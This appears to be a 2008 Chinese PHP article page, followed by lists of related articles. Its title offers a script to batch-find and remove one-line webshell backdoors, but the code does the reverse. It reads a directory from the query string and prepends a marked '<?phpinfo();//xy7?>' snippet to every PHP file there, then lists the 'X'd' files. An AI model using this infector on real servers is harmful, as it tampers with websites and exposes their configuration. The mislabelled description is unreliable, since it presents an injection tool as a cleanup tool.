用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
DISCUZ在win2003环境下 Unable to access ./include/common.inc.php in... 的问题终极解决方案
Nov 21 PHP
PHP关联链接常用代码
Nov 05 PHP
php分页函数示例代码分享
Feb 24 PHP
一个简单的PHP验证码实现代码
May 10 PHP
PHP使用Alexa API获取网站的Alexa排名例子
Jun 12 PHP
ThinkPHP中redirect用法分析
Dec 05 PHP
Netbeans 8.2与PHP相关的新特性介绍
Oct 08 PHP
删除PHP数组中头部、尾部、任意元素的实现代码
Apr 10 PHP
PHP实现的链式队列结构示例
Sep 15 PHP
php中钩子(hook)的原理与简单应用demo示例
Sep 03 PHP
Yii框架多语言站点配置方法分析【中文/英文切换站点】
Apr 07 PHP
详解php反序列化
Jun 10 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
php中file_get_contents与curl性能比较分析
2014/11/08 PHP
WordPress开发中短代码的实现及相关函数使用技巧
2016/01/05 PHP
laravel-admin表单提交隐藏一些数据,回调时获取数据的方法
2019/10/08 PHP
用Javascript读取中文COOKIE的解决办法
2007/02/15 Javascript
javascript 用记忆函数快速计算递归函数
2010/03/15 Javascript
jQuery学习笔记之控制页面实现代码
2012/02/27 Javascript
在线一元二次方程计算器实例(方程计算器在线计算)
2013/12/22 Javascript
js使用eval解析json(js中使用json)
2014/01/17 Javascript
浅谈javascript中createElement事件
2014/12/05 Javascript
javascript中alert()与console.log()的区别
2015/08/26 Javascript
跟我学习javascript解决异步编程异常方案
2015/11/23 Javascript
理解javascript中DOM事件
2015/12/25 Javascript
jquery操作ID带有变量的节点实例
2016/12/07 Javascript
jQuery插件HighCharts实现气泡图效果示例【附demo源码】
2017/03/13 Javascript
Angular.JS中select下拉框设置value的方法
2017/06/20 Javascript
jQuery实现键盘回车搜索功能
2017/07/25 jQuery
vue2组件之select2调用的示例代码
2017/10/12 Javascript
JavaScript实现好看的跟随彩色气泡效果
2020/02/06 Javascript
vue使用微信扫一扫功能的实现代码
2020/04/11 Javascript
django简单的前后端分离的数据传输实例 axios
2020/05/18 Javascript
vue-cli+webpack项目打包到服务器后,ttf字体找不到的解决操作
2020/08/28 Javascript
详细介绍Ruby中的正则表达式
2015/04/10 Python
关于python的bottle框架跨域请求报错问题的处理方法
2017/03/19 Python
Python简单实现Base64编码和解码的方法
2017/04/29 Python
python好玩的项目—色情图片识别代码分享
2017/11/07 Python
TensorFlow实现卷积神经网络CNN
2018/03/09 Python
使用anaconda的pip安装第三方python包的操作步骤
2018/06/11 Python
Python后台开发Django会话控制的实现
2019/04/15 Python
Python unittest单元测试框架实现参数化
2020/04/29 Python
python利用paramiko实现交换机巡检的示例
2020/09/22 Python
canvas学习笔记之绘制简单路径
2019/01/28 HTML / CSS
运动会表扬稿大全
2014/01/16 职场文书
致跳远运动员加油稿
2014/02/11 职场文书
网络技术专业求职信
2014/05/02 职场文书
校庆标语集锦
2014/06/25 职场文书
JS异步堆栈追踪之为什么await胜过Promise
2021/04/28 Javascript